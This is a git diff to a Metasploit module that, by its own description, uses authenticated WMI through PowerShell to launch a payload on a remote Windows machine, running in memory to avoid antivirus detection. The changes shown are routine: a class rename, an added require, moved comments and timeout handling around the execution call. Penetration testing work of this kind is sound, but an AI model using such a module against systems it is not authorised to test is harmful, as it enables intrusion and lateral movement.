diff --git a/modules/exploits/windows/local/ps_wmi_exec.rb b/modules/exploits/windows/local/ps_wmi_exec.rb index 1d552c08c1..24807416dc 100644 --- a/modules/exploits/windows/local/ps_wmi_exec.rb +++ b/modules/exploits/windows/local/ps_wmi_exec.rb @@ -1,20 +1,15 @@ -# -*- coding: binary -*- - ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## -## -# Ideally the methods to create WMI wrapper functions and their callers -# should be in /lib/msf/core/post/windows/powershell/ps_wmi.rb. -## require 'msf/core' require 'msf/core/post/windows/powershell' require 'msf/core/post/windows/priv' +require 'msf/core/exploit/powershell/dot_net' -class Metasploit3 < Msf::Exploit::Local +class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::Windows::Powershell @@ -23,7 +18,7 @@ class Metasploit3 < Msf::Exploit::Local def initialize(info={}) super(update_info(info, - 'Name' => "Authenticated WMI Exec via Powershell (Local Exploit)", + 'Name' => "Authenticated WMI Exec via Powershell", 'Description' => %q{ This module uses WMI execution to launch a payload instance on a remote machine. In order to avoid AV detection, all execution is performed in memory via psh-net @@ -117,7 +112,6 @@ class Metasploit3 < Msf::Exploit::Local end def exploit - # Make sure we meet the requirements before running the script unless have_powershell? fail_with(Failure::BadConfig, 'PowerShell not found') @@ -137,7 +131,13 @@ class Metasploit3 < Msf::Exploit::Local return end - print_good("#{datastore["RHOSTS"] ? psh_exec(script) : psh_exec(script,true,false)}") + begin + psh_output = datastore["RHOSTS"] ? psh_exec(script) : psh_exec(script,true,false) + print_good(psh_output) + rescue Rex::TimeoutError => e + elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") + end + vprint_good('PSH WMI exec is complete.') end @@ -176,7 +176,13 @@ EOS EOS - return ps_wrapper + return ps_wrapper end end + + +# +# Ideally the methods to create WMI wrapper functions and their callers +# should be in /lib/msf/core/post/windows/powershell/ps_wmi.rb. +#